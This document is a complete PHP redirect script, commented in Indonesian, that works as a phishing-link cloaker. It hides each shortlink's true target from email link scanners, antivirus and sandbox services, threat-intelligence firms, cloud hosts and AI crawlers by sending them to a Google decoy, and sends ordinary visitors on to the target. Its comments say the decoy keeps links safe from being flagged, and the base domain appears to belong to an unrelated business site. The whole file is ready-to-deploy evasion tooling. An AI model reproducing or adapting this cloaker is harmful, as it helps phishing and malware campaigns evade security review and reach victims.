<?php
// ============================================================
// short-redirect / index.php - Shortlink + Anti-Bot Blocker
// Pakai: https://KODE.domainlu.com  (subdomain)  |  https://domainlu.com/?c=KODE  |  https://domainlu.com/KODE
// Bot/scanner  -> 302 ke $cfg['decoy_url'] (aman dari redflag)
// Manusia      -> 302 ke target (log klik tercatat)
// Daftarin link di links.txt :  KODE|https://target...
// ============================================================
error_reporting(0);

// ---------------- SETTING ----------------
$cfg = [
    'links_file'   => __DIR__ . '/links.txt',
    'log_file'     => __DIR__ . '/clicks.log',
    'decoy_url'    => 'https://google.com',   // tujuan bot/scanner
    'param'        => 'c',                     // ?c=KODE (fallback kalau bukan subdomain)
    'base_domain'  => 'r.superfortecaminhoes.com.br', // samain dgn $BASE_DOMAIN di api.php
    'rate_limit'   => true,
    'rate_max'     => 20,                      // max hit per IP per 60 detik, lebih -> decoy
    'check_ua'     => true,
    'check_ip'     => true,                    // bot_ip.txt
    'check_isp'    => true,                    // keyword ISP hosting/VPN/security vendor
    'check_host'   => true,                    // keyword reverse-hostname
    'check_crawl'  => true,                    // crawler.txt
    'country_only' => '*',                     // contoh: 'ID,US' | '*' = semua negara lolos
];

// ISP milik hosting / VPN / security vendor -> auto decoy
$BAD_ISP = ['google','amazon','aws','microsoft','azure','msn','cloudflare','digitalocean','ovh','hetzner','contabo','vultr','linode','alibaba','tencent','oracle','ibm cloud','datacamp','choopa','colocrossing','quadranet','m247','hostroyale','nordvpn','expressvpn','surfshark','protonvpn','windscribe','purevpn','zscaler','proofpoint','mimecast','barracuda','trend micro','symantec','mcafee','kaspersky','eset','avast','fortinet','palo alto','checkpoint','cisco','akamai','fastly','bunny','gcore','stormwall','ddos-guard','qrator','incapsula','sucuri','snort','spamhaus','sorbs','spamcop','abuseat','crowdstrike','mandiant','fireeye','paloaltonetworks','qualys','tenable','rapid7','shodan','censys','binaryedge','zoomeye','urlscan','virustotal','any.run','joe sandbox','hybrid-analysis'];
// User-Agent scanner / bot / prefetcher -> auto decoy
$BAD_UA = ['curl','wget','python-requests','python-urllib','go-http-client','java/','libwww','httpclient','okhttp','googlebot','bingbot','slurp','duckduckbot','baiduspider','yandexbot','sogou','exabot','facebot','facebookexternalhit','facebookcatalog','twitterbot','linkedinbot','slackbot','discordbot','telegrambot','whatsapp','skypeuripreview','outlook','safelinks','protection.outlook','mimecast','proofpoint','urldefense','barracuda','fireeye','trendmicro','mcafee','symantec','kaspersky','avast','avg','eset','fortinet','checkpoint','zscaler','cisco','paloalto','crowdstrike','mandiant','qualys','tenable','rapid7','shodan','censys','urlscan','virustotal','anyrun','joesandbox','hybridanalysis','semrush','ahrefs','mj12bot','dotbot','petalbot','bytespider','ccbot','gptbot','claudebot','anthropic','cohere','imagesift','googleimageproxy','gmailimageproxy','feedfetcher','mediapartners-google','adsbot','apis-google','duplexweb','storebot','chrome-lighthouse','pagespeed','gtmetrix','pingdom','uptimerobot','headlesschrome','phantomjs','selenium','playwright','puppeteer','nightmare','zombie','mechanize'];
// Reverse-hostname milik infra scanning -> auto decoy
$BAD_HOST = ['googlebot','google','amazonaws','compute.amazonaws','azure','cloudapp','cloudflare','ovh','hetzner','contabo','digitalocean','vultr','linode','microsoft','msn','proofpoint','pphosted','mimecast','mimecast-offshore','barracuda','ess.barracudanetworks','outlook','protection.outlook','safelinks','spamhaus','sorbs','spamcop','abuseat','urldefense','fireeye','mandiant','trendmicro','symantec','mcafee','kaspersky','fortinet','checkpoint','zscaler','cisco','paloaltonetworks','crowdstrike','qualys','tenable','rapid7','shodan','censys','urlscan','virustotal','amazon','oraclecloud','alibaba','tencent'];

// ---------------- HELPERS ----------------
function r_ip() {
    foreach (['HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR'] as $k) {
        if (!empty($_SERVER[$k])) {
            $v = $_SERVER[$k];
            if (strpos($v, ',') !== false) { $v = trim(explode(',', $v)[0]); }
            $v = trim($v);
            if (filter_var($v, FILTER_VALIDATE_IP)) return $v;
            return $v;
        }
    }
    return 'UNKNOWN';
}
function r_country($ip) {
    if ($ip === 'UNKNOWN' || $ip === '127.0.0.1' || $ip === '::1') return 'XX';
    $r = @file_get_contents("https://ipwhois.app/json/{$ip}?fields=country_code");
    if ($r !== false) { $d = json_decode($r, true); if (!empty($d['country_code'])) return $d['country_code']; }
    $r = @file_get_contents("http://ip-api.com/json/{$ip}?fields=countryCode");
    if ($r !== false) { $d = json_decode($r, true); return $d['countryCode'] ?? 'XX'; }
    return 'XX';
}
function r_isp($ip) {
    if ($ip === 'UNKNOWN' || $ip === '127.0.0.1' || $ip === '::1') return 'LOCAL';
    $r = @file_get_contents("https://ipwhois.app/json/{$ip}?fields=isp,org");
    if ($r !== false) { $d = json_decode($r, true); return $d['isp'] ?? $d['org'] ?? 'Unknown'; }
    return 'Unknown';
}
function r_list($f) {
    if (!file_exists($f)) return [];
    $out = [];
    foreach (@file($f, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [] as $l) {
        $l = trim($l);
        if ($l === '' || $l[0] === '#') continue;
        $out[] = $l;
    }
    return $out;
}
function r_log($f, $line) {
    $h = @fopen($f, 'a');
    if ($h) { flock($h, LOCK_EX); fwrite($h, $line . "\n"); flock($h, LOCK_UN); fclose($h); }
}
function r_rate($ip, $max) {
    $f = sys_get_temp_dir() . '/sr_' . md5($ip) . '.tmp';
    $now = time(); $d = ['c' => 0, 't' => $now];
    if (file_exists($f)) { $x = @unserialize(@file_get_contents($f)); if (is_array($x) && isset($x['c'], $x['t'])) $d = $x; }
    if ($now - $d['t'] > 60) $d = ['c' => 0, 't' => $now];
    $d['c']++;
    @file_put_contents($f, serialize($d));
    return $d['c'] <= $max;
}
function go($url) { header('Location: ' . $url, true, 302); exit; }

// ---------------- AMBIL KODE (subdomain / path / ?c=) ----------------
// Mode baru: https://358972.domain.com  -> code = "358972"
// Fallback : https://domain.com/358972  atau  https://domain.com/?c=358972
$host = strtolower(preg_replace('/:\d+$/', '', ($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? ''))));
$sub  = '';
if (!empty($cfg['base_domain'])) {
    $bd = '.' . strtolower($cfg['base_domain']);
    if (strlen($host) > strlen($bd) && substr($host, -strlen($bd)) === $bd) {
        $sub = explode('.', substr($host, 0, -strlen($bd)))[0];
    }
} else {
    $p = explode('.', $host);
    if (count($p) > 2) $sub = $p[0];
}
$code = preg_replace('/[^A-Za-z0-9]/', '', $sub);
if ($code === '' || strtolower($code) === 'www') {
    $code = preg_replace('/[^A-Za-z0-9]/', '', ($_GET[$cfg['param']] ?? ''));
}
if ($code === '') go($cfg['decoy_url']);

$target = '';
foreach (r_list($cfg['links_file']) as $line) {
    $p = explode('|', $line, 2);
    if (count($p) === 2 && trim($p[0]) === $code) { $target = trim($p[1]); break; }
}
// Target harus http/https valid, kalau tidak -> decoy (anti open-redirect sembarangan)
if ($target === '' || !preg_match('#^https?://#i', $target)) go($cfg['decoy_url']);

$ip  = r_ip();
$ua  = $_SERVER['HTTP_USER_AGENT'] ?? '';
$why = '';

// ---------------- BLOCKER ----------------
// 1. Rate limit (scanner biasanya hajar berkali-kali)
if ($cfg['rate_limit'] && !r_rate($ip, $cfg['rate_max'])) $why = 'rate-limit';
// 2. UA kosong / scanner / prefetcher (Safe Links, Proofpoint, Gmail proxy, crawler, headless)
if ($why === '' && $cfg['check_ua']) {
    if (trim($ua) === '') $why = 'empty-ua';
    else foreach ($BAD_UA as $b) { if (stripos($ua, $b) !== false) { $why = 'bad-ua:' . $b; break; } }
}
// 3. IP blacklist manual
if ($why === '' && $cfg['check_ip']) {
    foreach (r_list(__DIR__ . '/bot_ip.txt') as $b) {
        if ($ip === $b) { $why = 'ip-blacklist'; break; }
    }
}
// 4. Crawler list manual
if ($why === '' && $cfg['check_crawl']) {
    foreach (r_list(__DIR__ . '/crawler.txt') as $b) {
        if (stripos($ua, $b) !== false) { $why = 'crawler-list'; break; }
    }
}
// 5. ISP hosting/VPN/security vendor
$isp = '';
if ($why === '' && $cfg['check_isp']) {
    $isp = r_isp($ip);
    foreach ($BAD_ISP as $b) { if (stripos($isp, $b) !== false) { $why = 'bad-isp:' . $b; break; } }
}
// 6. Reverse hostname infra scanning
if ($why === '' && $cfg['check_host']) {
    $hn = @gethostbyaddr($ip);
    if ($hn && $hn !== $ip) foreach ($BAD_HOST as $b) { if (stripos($hn, $b) !== false) { $why = 'bad-host:' . $b; break; } }
}
// 7. Country allowlist (opsional)
if ($why === '' && ($cfg['country_only'] ?? '*') !== '*') {
    $cc = r_country($ip);
    $allow = array_map('trim', explode(',', strtoupper($cfg['country_only'])));
    if (!in_array(strtoupper($cc), $allow)) $why = 'bad-country:' . $cc;
}

// ---------------- LOG + REDIRECT ----------------
r_log($cfg['log_file'], '[' . date('Y-m-d H:i:s') . '] code=' . $code . ' ip=' . $ip . ' verdict=' . ($why === '' ? 'HUMAN' : 'BOT(' . $why . ')') . ' ua=' . substr($ua, 0, 120));
if ($why !== '') go($cfg['decoy_url']);   // bot -> decoy, aman dari redflag
go($target);                               // manusia -> target